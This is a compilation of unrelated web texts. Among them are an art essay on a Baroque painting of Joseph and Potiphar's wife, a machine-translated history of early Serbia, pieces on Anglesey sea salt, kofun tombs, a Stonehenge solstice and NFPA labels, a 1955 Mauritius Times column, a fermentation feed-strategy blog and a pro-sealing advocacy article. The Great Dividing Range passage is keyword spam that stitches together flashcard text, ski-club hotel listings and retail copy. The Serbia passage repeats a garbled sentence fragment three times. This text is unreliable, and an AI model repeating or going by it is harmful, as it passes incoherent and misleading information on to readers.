Time passes and Joseph behaves like a true gent, politely defusing his mistresses’ numerous advances and seductions. When one day Mrs P can no longer restrain herself, she summons him to her bedchamber where she grabs hold of his coat and tries to pull him to her bed. Joseph flees, but sacrifices his garment in the process which is then surreptitiously draped among the linen and bedclothes and which an enraged and seemingly cuckolded Mr P soon discovers when he later returns home from his duties and comes sauntering to his bedchamber. Naturally, spurned and by now neurotic with obsession, Zuleikha accuses Joseph of attempted rape and he is swiftly despatched to rot away in the slummy cells. If she cannot have him, she determines that no one will. Beware the wrath of a scorned woman, someone should have told Joseph.
There is, as with many biblical narratives, a philosophical dilemma with the story. Joseph famously had prophetic gifts: he foresaw his betrayal by his jealous brothers; he successfully predicted the coming plague and famine. He knew he would fall before he rose. From slavery he became a domestic pin-up; from prison he became the second most powerful man in Egypt. His fate was “written in the stars.” If this was the case, then one wonders whether he foresaw the seduction and how, in fact, his temporary downfall would ultimately lead to his ascension to power? If so, it casts Joseph as a shrewd political operator, enacting a long-term strategic play for social advancement. It implies that Potiphar and Potiphar’s wife were mere pawns in a grand game of political chess: a stratagem rooted in sacrifice, but with an eye on a final, grander prize.
The subject became quite popular with Baroque artists. Interestingly, contemporaries often depicted Joseph as being older and wiser to his entrapment. He is seen as a noble, pious figure standing up to the pathetic infatuations of a spiteful temptress even if he unwittingly sacrifices his freedom and the trust of his master. Somehow, these mainly male artists seemed to have been more baffled by Joseph’s refusal to bed and tame his seductress than they were invested in preserving his religious integrity; there is a degree of scorn poured over him, as if they regard his actions as an affront to some patriarchal imperative. The messy business in the bedchamber, the two of them tussling unartfully over the coat, is held up as a dismissive portrayal of weak manhood; a warning to men about ceding control to determined women. It is possible, of course, to interpret the scene as an allegory of the enslaved confronting the slaver, a testament to the Jew’s determination to ultimately liberate themselves from their Egyptian servitude.
This particular treatment eschews such convention. The focal point of the scene’s tension – the tussle itself – is vested with balance and equilibrium which, far from neutralising contested power relations, only serves to heighten the sharp contrast between the entangled couple. We observe this firstly in the distinctive tonal differences in the subjects’ faces: Potiphar’s wife is cast in half shadow, sinister and predatory, and emphasised by the use of the tenebrest technique in which the especially pronounced chiaroscuro throws up a dominating feature of darkness and shadow. Joseph’s face, however, is bathed in light: it glows and glowers with a kind of restrained energy which, combined with his suppleness and youth, makes him a far more sympathetic figure than is usually conveyed. Secondly, we note the sharp contrast in clothing and the symbolism carried in the composition of their attire. Potiphar’s wife is in a state of ready undress, the whiteness of her bedclothes forming a seamless continuity with the bedlinen; its ruffled, spoiled, creased appearance mirrors her licentious, almost unhinged attitude, whereas Joseph is modestly attired in fulsome dress and garments (he even brandishes uncharacteristic long socks and long sleeves) thus invalidating his sexuality. His attire, meanwhile, continues the theme of balance by being paired to the rich, velvety drapery and carpet. Somehow this grants him a sense of solidarity with his surrounds, while exposing Potiphar’s wife and bed as almost alienated, disconnected immoral impostors to the scene. Note how Joseph’s feet and knees are cut through with formidable tension, whereas Potiphar’s wife’s right naked foreleg contains poise and ease. The exposure of her right beast adds to the sexualised overtones of the seduction trope, but also, disconcertingly, conjures up allusions of Amazonian warrior-women, thus complicating the moral ambiguity of the scene.
Both Fingolia and Artemisia Gentileschi were particularly renowned for their skill in painting cloth and drapery, only further muddling the work’s authorship. Fittingly, cloth is the central subject of this scene: possession of the coat is what will determine presumed guilt or innocence. Joseph latches onto his coat with both hands and tugs with all his might, but Potiphar’s wife uses only one hand, which clasps it like a vice, while her other arm props her up almost casually. What are we meant to infer from this telling nuance? What is either artist saying about the power of women? Then again, we know that a coat is central to Joseph’s overall iconography, (his multi-coloured coat) so making this coat the basis of a power-play ingeniously foreshadows that: lose his grip of his coat and his downfall is secured. Except that, as said before, surrender of his coat is a temporary step which begins his subsequent rise to great power. Again, the ability for this painting to proliferate meaning is quite staggering.
The subject fits neatly into the literary topos known in the German Renaissance as Weibermacht or “Power of Women” which, according to the scholars Ainsworth, Maryan, Wynn, et al, “showed heroic or wise men dominated by women, presenting an admonitory and often humorous inversion of the male-dominated sexual hierarchy.” It became a popular theme with Florentine artists. Other such subject matter included Samson and Delilah, Salome, Lot and his Daughters, Tomyris and, most significantly, Judith beheading Holofernes, a scene which Gentileschi famously painted twice. Indeed, she is known for her paintings of biblical heroines, in which women are portrayed as determined to manifest a revolt against their condition, just as, arguably, Mrs Potiphar does when she enacts a triumph for feminine liberation over masculine domination as she sets out to seduce Joseph. In 1916, art historian Robert Longhi analysed Gentileschi’s oeuvre and concluded that over 90% of her output “featured women as protagonists equal to men.” Her history, infamously, is a tragic one: a torturous trial in which she accused a colleague of her fathers of raping her when she was seventeen scarred her for life: it is easy to surmise that a repressed-vengeance theory might inform her work.
A less reductive view, however, sees the painting, by whichever artist, as a manifestly honest depiction of the human condition. Whether Potiphar’s wife is a predator or whether she is a victim of the subjugated condition of women speaks to the dichotomy between action and inaction. The same can be said of Joseph. The real question is how are Joseph and Zuleikha (for the woman deserves a name) to navigate their respective positions? In a way, both are protagonists, both are brought equal by their positions relative to the socio-political reality of their day. The absent figure who stands central to the tension created by the scene is Potiphar himself, and above him, the authoritarian Egyptian dispensation itself; without Potiphar serving as de facto antagonist, all motivating agency is at once stripped of its cogency. The painting becomes a rather pathetic embarrassment of a parlour game gone wrong: a hapless toy-boy fighting off a repressed minx. But because of context, the opposite results: a scene of great power and intrigue, one where the stakes are high and fate hangs in the balance.
Image courtesy of the Fogg Museum, Harvard University.
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Serbia Grangiuppanato (1170 – 1217)
The Slavic masses who, pushed and dragged by the Avars, poured in at the end of the century. VI and at the beginning of the VII in the Balkans, they did not yet have precise ethnic features or political physiognomy. Slowly, and without it being possible today to reconstruct the process, they developed, between the century. VII and IX, in different ethnic varieties, which later constituted as many political organisms, of a much faster formation the more located on the margins of the Byzantine Empire and exposed to Western influences. Just in the century. XII, after the beginning of the Crusades, in the decadence of Byzantium, and in the disintegration of the marginal states caused by Western expansion, that process of formation began to affect the central areas, previously far from the European political game and strongly subject to the control and ‘ effective exercise of Byzantine sovereignty. Then Serbia arose. The land on which it formed is the Rascia (v.), A small and mountainous region between the Lim valley and the kingdom of Dioclea (v.montenegro), dominated since the first half of the century. XI by great Giuppani of a branch of the diocletian dynasty, continually troubled by dynastic struggles, alternately subject to the Dioclea or Byzantium, with rare and very short periods of independence. To quell the struggles, emancipate the dynasty and the region from Dioclean and Byzantine subjection, and to make Rascia a permanently autonomous state with a distinct political and national physiognomy, the work of the great Giuppano Stefano intervened in the second half of the 12th century. Nemanja. He is rightly considered the founder of the Serbian state, first a modest rasciano grangiuppanato, then elevated to a kingdom in 1217, then to an empire in 1346, to decline after 1389 and reduce to despotia, canceling itself out in 1459 to give rise to a Turkish pasture, rise again in the century. XIX,
Although the Byzantine emperor Emanuele Comneno had strongly reaffirmed his empire over the Rascia in 1168 by dismissing some rebel great Giuppani, imprisoning them and placing trusted vassals on the government of the region, the political situation, due to the intersection of the forces that in those years they were active in the Balkans, she had always been propitious for maneuvers. Stefano Nemanja faces Rascian political life around 1170. He begins by exploiting the indigenous reaction to the imperial coup of force of 1168, succeeding in imposing himself, driving out and replacing the great vassal Giuppani in power. Its first successes coincide with the rivalry and the Venetian-Constantinopolitan war of 1170-1171. Nemanja takes advantage of this to graft his action into the Venetian one and to establish anti-Byzantine alliances and understandings also with Hungary and the Western Empire. His armies immediately marched north towards the Adriatic coast against the Byzantine provinces of Croatia and Dalmatia and to the east on the road from Niš to Belgrade, reporting notable successes everywhere: However, the Venetian disaster in the Aegean and death occurred to halt his action. of Stephen III of Hungary. Emanuele, freed from the other enemies, turned threateningly against the Rascia. Nemania saw the opportunity to submit to him in the fullest and most reassuring way. From 1171 to 1180 the Rascia was again a vassal of Byzantium. But as soon as after Emmanuel’s death (September 24, 1180) the Balkans fell back into chaos, the great giuppano vigorously resumed action. While his brother Miroslao was consolidated in Zaculmia, he, forged an alliance with Bela III of Hungary, went into the Morava valley and conquered a whole series of Byzantine cities. It then turned to the Dioclea and occupied Scutari, Sarda, Dagno, Drivasto, Suacia and the ports of Ulcigno and Antivari, expelled its relatives diocletic princes and constituted the Maritime Province. In 1186 he was given Cattaro. Ragusa, on the other hand, always resisted him and his successors with vigorous tenacity. In 1187, in alliance with the renewed Bulgarian empire, he occupied Niš and devastated the castles of the Timok valley. In 1189 he conquered the upper Struma and had Skoplje and Prizren. To Frederick Barbarossa, passing through Niš, in the same year he offered gifts, alliance and vassalage, if desired, in opposition to Byzantium, repeat from the West its own dignity and that of the state it was building. However, it was the Byzantine emperor who, despite having beaten him in 1190 on the Morava, and having taken the best of his territories, recognized them. From this year the Serbian state can be considered founded and Nemanja is dedicated to works of peace: he organized the religious life that was headed by the bishopric of Ras, and founded many monasteries, centers of piety and culture, guardians of the Serbian spirit. He did not neglect the West: contacts with the papacy and with the Latin states were made frequent through the Marittima and Cattaro. When he thought he had completed the work, he called a state diet in 1196, handed over power to his second son Stephen and retired to monastic life (v. through the Marittima and Cattaro, contacts with the papacy and the Latin states. When he thought he had completed the work, he called a state diet in 1196, handed over power to his second son Stephen and retired to monastic life (v. through the Marittima and Cattaro, contacts with the papacy and the Latin states. When he thought he had completed the work, he called a state diet in 1196, handed over power to his second son Stephen and retired to monastic life (v.stefano nemanja). A serious problem, however, left unsolved, having not established any firm order of succession. The Nemanja, continually swaying between the traditional principle of seniorate and that of primogeniture, filled the entire Serbian Middle Ages with dynastic struggles. It has the first episode the year after the death of the progenitor (1200), when the favorite eldest son Vukan, who had obtained only the government of the Marittima, rose up against his brother and in 1202 drove him out of the grangiuppanato. Stefano, however, with the help of the Bulgarians, was able the following year to resume power and over many years of government to perfect his father’s work. Byzantinophile at first, after 1204, following in the footsteps of Nemanja, he oriented his policy towards Venice and the papacy. Still repudiated in 1202 Eudoxia, nephew of the emperor Isaac Angelo, he married Anna Dandolo, niece of the conquering doge of Constantinople. Through Ragusa, where Giovanni Dandolo was count, and Venice, in 1217 he was able to obtain the royal crown from Honorius III and be crowned by his legate. The act marked the elevation of Serbia from grangiuppanato to kingdom and Stephen went down in history with the attribute of Primo Coronato.
Serbia Grangiuppanato (1170 - 1217)
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Anglesey Sea Salt: History, Flavor, Benefits, Uses
Anglesey sea salt is harvested from the Menai Strait in Anglesey. This salt is renowned for its purity and flavor. The purity of Anglesey sea salt is visible in that it is brilliantly white without being artificially bleached.
Anglesey is a small island to the northwest of Wales with a population of 85,000. The Menai Strait from which Anglesey sea salt is harvested is the body of water that separates the island from the Welsh mainland. The seawater from the Menai Strait is believed to be ideal for salt production because of how clean it is. There are no large cities on the shores of the strait nor are there any major industrial sites that might pollute the water. There is a sandbank and a mussel bank that help to filter the water naturally.
Salt production on Anglesey goes back to the era of Ancient Rome and peaked in the 1700s. Sea salt production on the island of Anglesey was stopped in the 18th century after the producers were found to have mixed Cheshire rock salt in with the sea brine to concentrate it, which is adulterating it. The remains of the salt works that was closed down because of the adulteration lie at the north of the island. The island’s salt production remained dormant until the 1970s when it resumed.
Today, Anglesey rock salt is charcoal-filtered and then heated before being placed into crystallization tanks. Once the brine has crystallized, its crystals are harvested manually. The resulting salt crystals are packaged and sold pure or smoked before being packaged. It’s available in coarse, fine and ground grades. Anglesey sea salt is exported to over 20 countries all over the world.
Anglesey sea salt flavor profile
Anglesey sea salt has a unique flavor. It has other special properties as well, such as the shape and texture of its flakes. Some of its characteristics come from how the seawater is filtered.
One stage of its natural filtration is performed by a mussel bank. The mussels help to draw calcium out of the water as they grow, which helps to improve the taste of the sea salt. The fact that it has a low level of calcium keeps it from being bitter. Anglesey sea salt crystals also form similar to snowflakes — they are flat and crisp — and have a crunch that you won’t get from regular table salt. Anglesey sea salt has a long list of trace elements all of which contribute to its unique flavor. Those elements include zinc, copper, and cadmium.
Health benefits
Despite containing traces of minerals, Anglesey sea salt is not a good source of any essential nutrients and does not deliver any significant health benefits.
Health concerns
Because it is a salt, Anglesey sea salt should be consumed in moderation. Too much salt in the diet can lead to (or worsen) high blood pressure and cause all of the associated health issues. Excessive salt consumption may also increase your risk of stomach cancer and kidney disease.
Common uses
The different grades and flavors of Anglesey sea salt make it a versatile seasoning that can be used in many different ways; however, it is best known as a finishing salt. The crunchy flakes are used to enhance both flavor and texture. The flakes also last longer when sprinkled onto hot food.
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通訳案内士２次試験 2014年度過去問 スピーチサンプルスクリプト＆音声(Set2 Kofun)
通訳案内士２次試験 2014年度過去問シリーズ
1. Kofun
2. Natural disasters of Japan
3. Japanese wind chimes
今回はSET2の3つめ”Japanese wind chimes”です
Well, Kofuns are ancient tombs for rulers in Japan during the 3rd to 7th century. Since the government was located in the Kinki area in this period, many huge Kofuns can be found in Osaka and in Nara prefecture. They come in various shapes , but the most common one is zenpo-koen fun which is shaped like a key-hole. This type has square front and round back.
In some of them, you can see coffins of various types with several acCEssories such as mirrors, beads, swords and so on. Usually, Haniwas or clay figurines are placed at kofun area to protect the sacred place.
The biggest kofun in Japan is called the Daisen Kofun, which has been attributed to Emperor Nintoku. It has a key-hole shape with the length of 486 meters, a diameter of 259 meters and a width of 305 meters. It is as high as 33 to 35 meters. It was constructed in the 5th century and is situated in Sakai City, Osaka. This is very accessible and within walking distance from Mozu station of the JR Hanwa Line.
So, if you want to experience something similar to the pyramid of Egypt, in Japan, visiting Kofuns is highly recommended.
(202 words )
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gutschein serengeti park 2020
Discover free flashcards, games, and test prep activities designed to help you learn about Great Dividing Range and other concepts. The pretty alpine country offers a wide variety of activites from bushwalking and fishing, to rock climbing and skiing. Great dividing range definition, a mountain range extending along the E coast of Australia: vast watershed region. 100 to 200 miles (160–320 km) wide. AJAX Ski Club is set in Mount Buller, within 2 km of Bonza and 2.2 km of Tirol. 1. archipelago 2. contiguous 3. diversity 4. indigenous 5. atoll 6. deforestation. Their requirements included professional product development, large volume productions, well trained merchandisers, quality control, packaging and labeling solutions and compliant facilities. At the hotel, the rooms come with a wardrobe. Discover the past of Great Dividing Range on historical maps. They're customizable and designed to help you study and learn more effectively. Australia's Great Dividing Range is the largest mountain range on the continent, running down the length of the eastern part of the continent, as shown in the Geoscience Australia map as a dark line, below:. Old maps of Great Dividing Range on Old Maps Online. Kosciuszko at 2228 m asl. The range is 3,500 kilometres (2,175 mi) in length and runs along the whole east coast of Australia. In the north it starts from Dauan Island off the northeastern tip of Queensland. See more. The tallest peak in the range is Mt. Despite its name, the Great Dividing Range is only sometimes considered a continental divide. Great Dividing Range The origins of GDR evolved from understanding the needs of large retail chain stores wishing to buy from Indonesia. It separates water flowing to the Pacific Ocean from water flowing to the Southern and Indian Oceans. Great Dividing Range. Note: Range borders shown on map are an approximation and are not authoritative. Geschichte. Click Here for a Full Screen Map. Other Ranges: To go to pages for other ranges either click on the map above, or on range names in the hierarchy snapshot below, which show the parent, siblings, and children of the Great Dividing Range. The Wikipedia entry is rather vague about the formation, with. Great Dividing Range The Great Dividing Range is a series of mountain ranges and escarpments that runs the entire length of eastern Australia. This 3-star hotel offers a 24-hour front desk, a shared lounge and free WiFi. The Great Dividing Range, or the Eastern Highlands, is Australia's largest mountain range.It is the fifth longest land-based range in the world. The Great Dividing Range starts north east of Melbourne and heads east to the New South Wales border. The hotel has ski storage space. 3 variety in a group such as gender, ethnicity, and economics 1 a group or chain of islands 2 Great Dividing Range. Whatever time of year it is you should make sure you have a variety of supplies as temperatures can quickly change. Western Plateau Central Lowlands Great Dividing Range. AJAX Ski Club is a Hotel located in Great Dividing Range. Die Great Dividing Range wurde im Karbon vor etwa 300 Millionen Jahren aufgewölbt, als Kontinentalplatten aufeinander prallten, die heute ein Teil von Südafrika und Neuseeland sind.
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Solstice sunrise at Stonehenge obscured by fog
Stonehenge solstice celebration
Hundreds of druids and pagans have celebrated the winter solstice at Stonehenge in Wiltshire despite the sunrise being obscured by fog.
Up to 600 people were at the monument, which had a dusting of snow, after it opened at 0730 GMT for the ceremony to mark the shortest day of the year.
The shortest day is often on 21 December but winter solstice can fall any time between 19 and 23 December.
Recent research suggests the ancient stones were more significant in winter.
Peter Carson, head of Stonehenge, said: "The winter solstice did actually occur yesterday evening but many druid and pagan communities consider that today has been the first dawn after the solstice, that's when it should be celebrated.
"Some actually turned up yesterday and had a celebration because they believe it should be on the day of the solstice itself.
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In Pics: Winter Solstice
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Attempt to abolish slavery foiled in Ile de France
Mauritius Times 60 Years Ago — 1st YEAR No. 22 — Saturday 8th January 1955
Glimpses of Mauritian History
Les hommes naissent libres et égaux en droits.” Faithful to this fundamental principle of the Revolution of 1789, embodied in the Declaration of Rights, the Convention abolished slavery in all French colonies on the 4th February 1794. The slaves were to be acknowledged as French ‘citoyens’ and were to enjoy equal rights as their ex-masters.
Accustomed to a life of ease and plenty, and often of depravity, the Colons had left all manual works into the hands of the slaves who, roughly speaking, consisted of five-sixth of the population of the island.
As soon as the decree was passed, the Deputies of Ile de France intervened to have its enforcement postponed. As a result slavery was not abolished in 1794-1795. During the Revolutionary period power changed hands in France in quick succession. The Convention had abolished slavery, the Directory on the 25th January 1796 had a law passed which enacted that eleven agents should be sent to the different French colonies to look after the application of the decree of the Convention.
Two agents – Baco, ex-mayor of Nantes, and Brunel, one-time journalist in Ile de France were appointed for the task. They came with a division of 1200 under general Magallon La Morlière.
The planters of Ile de France could not easily concede to the abolition of slavery on which their prosperity so much depended. Baco and Brunel presented themselves to the Colonial Assembly to disclose their mission before the deputies who had already roused public opinion against them. The delegates were mobbed and forced to embark on the MOINEAU whose Captain was instructed to leave them at the Philippines. But Baco and Brunel prevailed upon the captain to bring them back to France. Thus ended rather sadly for the delegates as well as the slaves, the mission in favour of the abolition of slavery. The goodwill of the Revolutionary humanists had wrecked itself against the bitter opposition of the planters of Ile de France.
When Napoleon came to power, he abrogated all the laws passed in the interest of the slaves during the Revolutionary period. Decaen who was sent to assume the power of governor in Ile de France, was strongly advised not to ruffle the sentiments of the inhabitants with regard to slavery. In a letter written by Decrès, Ministre de la Marin, Decaen was recommended to:
“Maintenir avec soin la distance des couleurs sur laquelle repose l’existence coloniale; de respecter et faire respecter les usages enduis àce sujet; enfin, d’éviter scrupuleusement le plus léger motif d’inspirer aux habitants, sur cette matière délicate, les moindres alarmes.”
Decaen set about the task of following to the letter of the law the instructions given to him.
H. Prentout thus sums up his attitude towards slavery. “Les moyens energiques dont Decaen disposait et qu’il savait employer, pouvaient réprimer certains abus, mais son administration fut naturellement impuissante à pallier des maux qui tennient à l’essence même du régime esclavagiste. L’esclave resta soumis aux caprices de ses maîtres et à ceux plus terribles de la nature qui le privent de tous moyens d’existence.”
Even after the conquest, when the English took into their hands the reins of power, the slaves had still to bear for a quarter of a century the weight of their chains, with all the horrors attending it.
Has the B. Guiana Case influenced British colonial policy?
The people of British Honduras have been given a larger share in the management of their affairs. In the first elections which were held under the new Constitution, the People’s United Party won eight out of the nine elective seats – thus enabling it to send four of its leading members in the Executive Council. Three elected members of the P.U.P have taken the following portfolios: Natural Resources, Social Services and Public Utilities.
Writing in FACT of December 54, Mr Hilary Marquand, M.P. says: “… There was a danger that the events in British Guiana where the Constitution was suspended after six months of rule of Ministers from the PPP (People Progressive Party), might cause the United Kingdom government to refuse to allow the PUP to take power in B.G. Mr Lyttelton, however, made the wisest decision of his whole period of office as Colonial Secretary; the Constitution continued, and PUP leaders took the place to which they were entitled.”
Therefore it is quite clear that the events in B. Guiana have nothing to do with the constitutional progress of other British colonies. In his Opinion du Jour of 5.1.55, NMU writes: “La leçon de la Guyane Britannique est trop récente pour avoir été déjà oubliée par le Gouvernement de Sa Majesté…”
Since the British Honduras has been given a Constitution with Ministerial Powers, does this mean that Her Majesty’s Government has forgotten the “leçon de la Guyane Britannique” The officials of the Colonial Office know their job. Whether NMU or the reactionaries want it or not the British Government is determined to give the Colonial people a larger share in the management of their affairs.
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Why A Fiscal Committee?
H.E. the Governor has appointed a Fiscal Committee for the purpose of reviewing all forms of taxation both direct and indirect. The terms of reference are:
– The Fiscal Committee will make recommendations for such adjustments as appear necessary to secure the equitable distribution of the burden of taxation generally, having particularly in mind the extent to which the value of money has fallen during the past decade, with a view to ensuring that the present level of Government revenues as a proportion of national income may be maintained with the least discouragement to the agriculture, commerce, industry and trade of the Colony upon which the national income depends.
– The Fiscal Committee will also bear in mind the need to protect the interests of all sections of the Community, especially those of which services are provided from general revenue, and which would be detrimentally affected by a decline in the national income.
Is there a necessity to revise our taxation? We think there is an urgent need for it. Since the War the Mauritian rupee has undergone an extremely low devaluation. Taxes on certain commodities which had not been revised since a decade represent hardly a third of the original value. In the light of the present worth of the rupee, taxes should be increased on certain commodities; for example tax on motor vehicles has not been increased since the War.
The terms of reference appears too wordy and too suggestive. The phrase “the least discouragement to the agriculture, commerce, industry and trade of the Colony upon which the national income depends” seems to suggest that the agricultural and commercial concerns should not be taxed any more. In paragraph 3: “The Fiscal Committee will… protect… those for which services are provided from general revenue” seems to suggest that the Committee should take special care to protect the interest of the Civil Service. How? In what connection? We think that the Fiscal Committee which is the equivalent of an Economic Commission and on whose recommendations our future taxing policy will rest, ought to have been conducted by an expert in taxation from the Colonial Office.
The progressive minded public expect that the Fiscal Committee will investigate into the possibility of raising more money. We need some more millions for our Social and Development Services – Education, Health, Housing, Road, Irrigation, etc. They are more concerned with the equal distribution of the wealth of the country and the equalization of incomes rather than equal distribution of the burden of taxation. The modern conception of taxation is based on the theory that the man who is fortunate enough in earning more should provide for his less fortunate countrymen.
* Published in print edition on 16 January 2015
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Are NFPA labels are required by OSHA?
Yes, OSHA will continue to allow NFPA and/or HMIS rating systems on labels and SDSs as supplemental information. However, the rules for labeling and placement on the SDSs still apply. … Employers may create their own labeling system that works for their workplace and employee population.
Are NFPA labels required?
Why are NFPA labels important?
NFPA 704 labels provide an appropriate signal or alert for the protection of emergency response personnel, assist in planning for effective fire and emergency control operations, including cleanup.
Where are NFPA signs required?
Local authorities have jurisdiction as to where and how many are needed, but NFPA suggests at a minimum the signs should be located on: Two exterior walls of a building or facility; Each access to a room or area; or. Each principal means of access to an exterior storage area.
Why is labeling required OSHA?
The revised standard requires that information about chemical hazards be conveyed on labels using quick visual notations to alert the user, providing immediate recognition of the hazards.
IMPORTANT: How are firefighters considered heroes?
What is full form of NFPA?
National Fire Protection Association (NFPA) is a United States trade association established in 1896, is to reduce the worldwide burden of fire and other hazards on the quality of life by providing and advocating consensus codes and standards, research, training, and education.
What do the NFPA colors mean?
The four bars are color coded, using the modern color bar symbols with blue indicating the level of health hazard, red for flammability, orange for a physical hazard, and white for Personal Protection. The number ratings range from 0-4. The Health section conveys the health hazards of the material.
Where should NFPA diamonds and labels be?
Positioning NFPA Diamond Labels
In general, it goes on the upper half of the truck so that it is the most visible, but that is not strictly required. When placing labels on containers, it is simply necessary to place them in such a way as to ensure they are easily visible.
What do NFPA numbers mean?
The National Fire Association (NFPA) has developed a color-coded number system called NFPA 704. The system uses a color-coded diamond with four quadrants in which numbers are used in the upper three quadrants to signal the degree of health hazard (blue), flammability hazard (red), and reactivity hazard (yellow).
What are the general labeling requirements?
All product labels must have the following four required statements:
• an identity statement.
• a net weight statement.
• a list of ingredients.
• company name and address.
Why is labeling required?
The purpose of container labeling is to provide an immediate warning to employees of the hazards they may be exposed to and through the chemical identity, labels provide a link to more detailed information available through MSDS’s and other sources.
IMPORTANT: Frequent question: What is the legal requirement for fire risk assessments?
What are the six required elements of a product label?
All labels are required to have pictograms, a signal word, hazard and precautionary statements, the product identifier, and supplier identification. A sample revised HCS label, identifying the required label elements, is shown on the right.
Fire safety
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The Importance of Optimized Feed Strategies in Fermentation Processes
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There is an increasing variety of bioprocesses that are used to produce an ever-widening array of products using a similarly diverse group of organisms. These bioprocesses leverage native or engineered genetics and physiology of an organism and specific cultivation strategies to produce the product of interest. The overall performance (whether it be titer, rate, or yield) of the organism is an interplay between these factors; the genetics and physiology of an organism as well as the bioprocess conditions all impact strain performance. One important aspect of many bioprocesses is how nutrients and substrates are delivered to the culture.
There has long been an appreciation for the importance of bioprocess feed strategies. Over half a century ago, before the advent of modern genetic tools for targeted strain engineering, several theories were introduced regarding the impact of substrate availability on microbial growth. Jacques Monod, a french biochemist, described in his 1949 paper The Growth of Bacterial Cultures, the impact of substrate limitation in an aqueous culture on bacterial growth rates.1 The Monod equation describes this phenomenon in a quantitative manner, but the two-parameter model does not account for other factors such as microbial maintenance. The concept of maintenance, described as energy utilized for functions other than creating new cell material has been described by others as a requirement to provide an adequate understanding of microbial kinetics.2,3 Given the complexity and variety of production strains and the overflow metabolism characteristic of many microbes, a single maintenance parameter in a model cannot adequately describe all non-growth related functions in order to provide a comprehensive assessment of strain performance.
As a potential solution, the Herbert-Pirt substrate distribution relation provides a mathematical framework to describe the kinetics of substrate utilization by a microbe (Figure 1). According to this framework, substrate is taken up and can then be used for several discrete purposes: growth, maintenance (a constant), product, or byproducts.
Blog Post Graphic-02
Figure 1: The Herbert-Pirt Substrate distribution relation can be used to quantify how a substrate is assimilated and distributed for different functions in a microbe.
How a substrate is distributed within a bioprocess provides important information on how substrate delivery may be optimized in order to improve key performance metrics. With the use of this model, it is straightforward to visualize how strain performance is intimately related to the feed strategy.
An optimized feed strategy will deliver the correct amount of feed in order to maximize the output of the desired performance metrics, whether they are titer, rate, yield, or a combination of the three. These performance metrics are informed by a Techno-economic analysis (TEA). On the other hand, disrupting the delicate balance between the microbe and optimal substrate delivery can result in subpar performance. In the examples below, the impact of the feed strategy can be visualized in the context of the Herbert-Pirt substrate distribution relation and its impact on strain performance metrics.
In the first example (Figure 2a), the optimal performance of a microbe is delivered using a feed strategy designed specifically for this microbe. Substrate is delivered to generate biomass, support maintenance requirements, and allow optimal flux through the pathway, which results in high product yield. In the second example (Figure 2b), the culture is underfed. In this scenario, a disproportionate amount of substrate is dedicated to supporting the fixed costs of maintenance, leaving less substrate to product flux and consequently a lower yield. In the third example (Figure 2c), the culture is overfed. This results in higher substrate uptake rates than are required to support metabolism for growth, maintenance, and product pathway flux combined. This results in overflow metabolism which results in decreased product yield and increased production of metabolites that could have toxic effects on the culture. These examples demonstrate the importance of avoiding both overfeeding and underfeeding, which could lead to inaccurate conclusions that mislead bioprocess development and strain screening.
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Figure 2: The level of feed delivered throughout a fermentation can impact how the substrate is distributed to different functions.
The core of bioprocess development consists of varying process parameters to identify those that have a positive impact on performance. However, many of the setpoints that can be varied in process development not only impact the factor being varied, but also impact the optimal substrate delivery rates. For example, a change in temperature setpoint may significantly alter the growth rate of a microbe, and consequently the substrate demand. Without optimizing the feed rates in parallel with other process changes, results may be confounded due to suboptimal feed rates in combination with the other conditions.
Similarly, when screening different strains for performance improvements, different genotypes are tested within a baseline process. These genetic changes intentionally alter the physiology of an organism to produce the product of interest, and naturally these modifications can also change the substrate demand. Similar to bioprocess development, screening a strain in a process without adjusting feed rates accordingly can result in an incorrect assessment of the strain’s performance.
There are a number of different approaches to optimize substrate delivery concurrently with other variables. Some of the most elegant strategies employ dynamic methods for substrate delivery, leveraging physiological cues from the microbe to signal an increase in demand for feed or for signs of overfeeding. These methods require knowledge of aspects of each organism’s metabolism, sensitive online measurements, and adjustments to identify optimal setpoints for the bioprocess. While the upfront investment in the development of a dynamic bioprocess can take both time and bioreactor capacity, the benefit of optimal substrate delivery in the context of changes in other variables can lead to simplified experimental conclusions and accelerated bioprocess development timelines. Conversely, failure to spend the time upfront to invest in developing these strategies can result in confounded conclusions both in strain screening and process development, resulting in subpar strain performance and extended project timelines.
For more on feed strategies for process development, including key challenges to keep in mind and best practices, check out this resource.
1. Monod, J. The growth of bacterial cultures. (1949)
2. S.J. Pirt. The maintenance energy of bacteria in growing cultures Proc R Soc Lond Ser B Biol Sci, 163 (1965), pp. 224-231
3. P. Bodegom. Microbial maintenance: A critical review on it’s quantification. Microbial Ecology, 53 (2007), pp. 513-523
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Tag Archives: Professor Day
Turning inflammation on, one step at a time
Hand with an inflamed middle finger.
Inflammation – the body’s reaction to a hangnail (Wikimedia Commons).
One of the amazing things your body does is to protect itself against disease. When bacteria or viruses invade your body, or you cut yourself, your white blood cells and the substances they produce will protect you, and start healing the damage. The affected area swells up and hurts. This process is called inflammation.
However, when something goes wrong and a body can’t turn off the inflammation response, or it turns on at the wrong time, inflammation can cause arthritis and other autoimmune diseases, and can even lead to cancer. Continue reading
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iceberg vector shape
In the news
Seal Products: a sustainable & responsible consumption
27 December 2021
Seal harvest
UN Calls for “Responsible Consumption and Production” – Seal Products Fit the Bill
The United Nations always has a roadmap for the future of the planet, and people who follow the current roadmap – Canadians in particular – should consider consuming more seal products. To do so conforms perfectly with a lifestyle choice the UN calls “responsible consumption and production”.
The UN certainly understands the power of a good catchphrase. That’s why its most famous one is included in the title of the roadmap it’s been following since 2015, “Transforming our world: the 2030 agenda for sustainable development”. The UN was not the first to use the phrase “sustainable development”, but it brought it to prominence through its 1987 report, Our Common Future, commonly known as the Brundtland Report.
In support of its current roadmap, the UN has developed 17 Sustainable Development Goals, of which Goal 12 exhorts us to “Ensure sustainable consumption and production patterns”. Now in its public relations materials for Goal 12, it changes one word to come up with “responsible consumption and production” (italics added).
So what is “responsible consumption and production”, and how do seal products measure up?
Sealing Is Not Wasteful
According to the UN, each year about one-third of all food produced in the world, or 1.3 billion tons, “ends up rotting in the bins of consumers and retailers, or spoiling due to poor transportation and harvesting practices.” In 2016, it says, 13.8% of food production was lost in the supply chain – harvesting, transportation, storage and processing.
So responsible consumption and production means not being wasteful, and sealers hate waste.
The primary products of sealing are meat for food and fur for clothing. But Inuit and indigenous communities also use the brain, eyes, tongue, heart, liver, kidneys and intestines.
As for the commercial sealers of Newfoundland and Labrador, after harvesting the loins, flippers and ribs, the fat is used to make omega-3 dietary supplements. The only parts that are discarded back into the ocean are the thighs, organs and bones, because there is currently no market for them, but even these go to feed fish, which in turn feed both seals and humans. Also, ways are now being sought to turn these scraps into food for pet cats and dogs.
